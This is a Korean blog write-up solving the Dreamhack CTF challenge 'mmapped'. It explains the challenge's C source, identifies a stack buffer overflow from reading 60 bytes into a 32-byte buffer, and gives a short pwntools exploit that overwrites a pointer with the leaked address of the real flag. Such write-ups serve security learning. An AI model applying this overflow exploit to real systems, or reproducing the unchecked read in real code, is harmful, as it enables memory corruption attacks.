rsp-∞

[Dreamhack CTF Season 3 Round #6] mmapped 본문

Write-ups/system

[Dreamhack CTF Season 3 Round #6] mmapped

portrait.kim 2024. 11. 26. 13:00

해당 문제의 C 파일을 열어 어떻게 동작하는지 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define FLAG_SIZE 0x45

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char *argv[]) {
    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";

    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    printf("real flag address (mmapped address): %p\n", real_flag_addr);

    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

 

이 문제를 풀려면 메모리에 관한 함수를 조금 알아야 한다. mmap()은 인자로 받은 파일을 메모리에 대응시킨다. printf() 함수가 출력하는 내용에서 힌트를 얻을 수 있듯이 flag파일을 메모리에 매핑하고 그 주소를 출력한다. mprotect()는 메모리에 대한 접근을 제한한다. real_flag_addr에 len의 길이만큼 접근할 수 없도록 하는 것이다. 마지막으로 munmap()은 mmap()의 반대를 수행하는 함수로, 메모리에 매핑해 놓았던 파일을 해제한다.

read(0, buf, 60);

 

buf의 크기가 0x20으로 선언되었는데 60만큼 데이터를 읽어 오고 있으므로 버퍼 오버플로우가 발생함을 알 수 있다. 

write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);

 

printf() 함수를 통해 fake_flag_addr의 값을 출력한 뒤 buf의 값을 출력한다. fake_flag_addr의 값에 가짜 플래그가 아니라 진짜 플래그의 주소를 넣어 주면 printf() 함수가 진짜 플래그를 출력해 줄 것이다. 이제는 스택 프레임 그리기가 너무 귀찮아서 따로 첨부는 하지 않지만, 4바이트인 fd와 len이 가장 먼저 스택에 쌓이고, 그 위로 선언된 순서대로 각 8바이트의 fake_flag_addr과 real_flag_addr이 올라갈 것이다. 마지막으로 크기가 0x20인 buf가 올라가면 끝.

 

buf에서 크기 60만큼의 데이터를 읽을 때 fd를 제외한 모든 스택의 값을 읽을 수 있으므로 가짜 플래그가 올라간 자리에 진짜 플래그를 집어넣고 그 값을 읽게 할 수 있을 것이다. 참고로 print(p64(real_flag_adrr)) 명령을 실행하는 익스플로잇 코드를 짜고 먼저 실행하면 진짜 플래그의 주소값을 알 수 있다.

 

from pwn import *

p = remote('host3.dreamhack.games', _____)
p.recvuntil(b'(mmapped address): ')

real_flag_addr = int(p.recvn(14), 16)

payload = b'A'*48
payload += p64(real_flag_addr)

p.sendafter(b'input: ', payload)

p.interactive()

'Write-ups > system' 카테고리의 다른 글

[Dreamhack CTF Season 5 Round #2] bof  (0) 2024.11.26
[Dreamhack CTF Season 4 Round #6] Cherry  (0) 2024.11.19
[Dreamhack CTF Season 1 Round #4] cmd_center  (0) 2024.11.14
[DreamHack] rop  (0) 2024.05.25
[DreamHack] Return to Library  (0) 2024.05.25